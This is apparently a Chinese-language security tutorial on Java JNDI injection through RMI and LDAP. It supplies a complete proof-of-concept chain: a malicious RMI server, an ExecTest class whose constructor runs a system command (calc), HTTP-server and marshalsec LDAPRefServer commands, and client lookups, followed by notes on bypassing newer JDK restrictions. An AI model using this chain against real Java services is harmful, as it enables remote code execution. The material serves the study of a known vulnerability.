概念 JNDI Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI本质上是一个接口,在这个接口下可以实现多种目录系统服务,如RMI、LDAP等,可以通过名称查询相关对象
RMI RMI(Remote Method Invocation)  即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message  Protocol,Java远程消息交换协议)以及CORBA。
相当于跨越jvm,调用一个远程方法。RMI是一种行为,即Java远程方法调用
JRMP Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
本质上是一个协议,用于Java RMI过程,功能上相当于web访问中的http协议,只有通过使用该协议才能实现RMI远程方法调用
LDAP LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。本质上相当于一个数据库,
JNDI注入原理 JNDI支持多种服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或其子类时会导致远程代码执行。
因为Reference类提供了两个重要属性:
1 2 3 4 5 1. className 远程调用引用的类名2. codebase url  决定在进行rmi远程调用时对象的位置,codebase url 支持http协议,当通过lookup寻找的远程调用类在RMI服务器的CLASSPATH不存在时就会从指定的codebase url 进行类的加载,如果两者都没有,远程调用失败
 
JNDI RCE漏洞产生原因 
1 在lookup的时候,会从RMI注册中心下载数据,由于服务名称和对象或命名引用相关联,只要在Registrations注册中心注册一个命名引用,即Reference ,它具有三个参数,className、factory、classFactoryLocation。ookup它并下载到本地后,会使用Reference 的classFactoryLocation指定的地址去下载className指定class 文件,接着加载并实例化,这样就会远程调用类的构造方法,如果把恶意代码放在远程调用类的构造方法中,就可以触发RCE。
 
JNDI+RMI 适用版本:小于JDK 6u132, JDK 7u122, JDK 8u113(原因是Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。)
测试jdk版本 8u101 
CIENT.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package  jndi;import  javax.naming.Context;import  javax.naming.InitialContext;public  class  Client   {     public  static  void  main (String[] args)  throws  Exception  {         String uri = "rmi://127.0.0.1:1099/aa" ;         Context ctx = new  InitialContext();         ctx.lookup(uri);     } }
 
SERVER.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package  jndi;import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  javax.naming.Reference;import  java.rmi.registry.Registry;import  java.rmi.registry.LocateRegistry;public  class  SERVER   {     public  static  void  main (String[] args)  throws  Exception  {         Registry registry = LocateRegistry.createRegistry(1099 );         Reference aa = new  Reference("ExecTest" , "ExecTest" , "http://127.0.0.1:8081/" );         ReferenceWrapper refObjWrapper = new  ReferenceWrapper(aa);         System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'" );         registry.bind("aa" , refObjWrapper);     } }
 
 ExecTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import  java.io.BufferedReader;import  java.io.IOException;import  java.io.InputStream;import  java.io.InputStreamReader;import  java.io.Reader;import  javax.print.attribute.standard.PrinterMessageFromOperator;public  class  ExecTest   {     public  ExecTest ()  throws  IOException,InterruptedException {                  String cmd="calc" ;         final  Process process = Runtime.getRuntime().exec(cmd);         printMessage(process.getInputStream());;         printMessage(process.getErrorStream());         int  value=process.waitFor();         System.out.println(value);     }     private  static  void  printMessage (final  InputStream input)   {                  new  Thread (new  Runnable() {             @Override              public  void  run ()   {                                  Reader reader =new  InputStreamReader(input);                 BufferedReader bf = new  BufferedReader(reader);                 String line = null ;                 try  {                     while  ((line=bf.readLine())!=null )                     {                         System.out.println(line);                     }                 }catch  (IOException  e){                     e.printStackTrace();                 }             }         }).start();     }     public  static  void  main (String[] args)   {     } }
 
把编译好的ExecTest.class文件放到web目录下
启用web服务
1 py  -3  -m http.server 8081 
 
在IDEA里执行SERVER和CLIENT,成功弹出计算器
JNDI+LDAP 除了RMI服务外,JNDI还可以对接LDAP服务,只需要把lookup的地址改成ldap://即可,同样可以从攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
适用版本
小于JDK 11.0.1、8u191、7u201、6u211(之后com.sun.jndi.ldap.object.trustURLCodebase属性值被调整为false)
这里使用工具来搭建ldap服务端 https://github.com/mbechler/marshalsec 
安装过程
https://www.cnblogs.com/cute-puli/p/14373826.html 
https://blog.csdn.net/qq_43968080/article/details/105586109 
1 java  -cp marshalsec-0 .0 .3 -SNAPSHOT-all .jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081 /#ExecTest
 
跟之前一样开启http服务并把恶意类class文件复制到目录下
CLIENT.java
1 2 3 4 5 6 7 8 9 10 11 12 package  jndi;import  javax.naming.InitialContext;public  class  Client   {     public  static  void  main (String[] args)  throws  Exception  {         Object object=new  InitialContext().lookup("ldap://192.168.111.129:1389/ExecTest" );     } }
 
执行成功
绕过高版本限制 版本大于JDK 11.0.1、8u191、7u201、6u211时,之前这些利用方式都已经失效。但是仍然可以绕过
两种绕过方法:
1 2 3 1 .找到一个受害者本地CLASSPATH中的类作为恶意的Reference  Factory工厂类,并利用这个本地的Factory类执行命令。2 .利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。 
 
主要依靠受害者本地CLASSPATH中的类,需要利用受害者本地的Gadget进行攻击。
参考:
https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/ 
https://xz.aliyun.com/t/6633 
https://www.anquanke.com/post/id/221917#h3-2